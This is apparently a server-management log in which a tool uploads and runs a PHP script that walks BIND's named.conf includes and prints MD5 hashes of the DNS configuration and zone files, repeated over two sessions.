MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:07:50: Establishing a connection
2026-04-24 16:07:50: 

PUT: /tmp/pkp562594

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:07:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp562594; rm /tmp/pkp562594'

2026-04-24 16:07:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:09:32: Establishing a connection
2026-04-24 16:09:33: 

PUT: /tmp/pkp716072

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:09:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp716072; rm /tmp/pkp716072'

2026-04-24 16:09:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
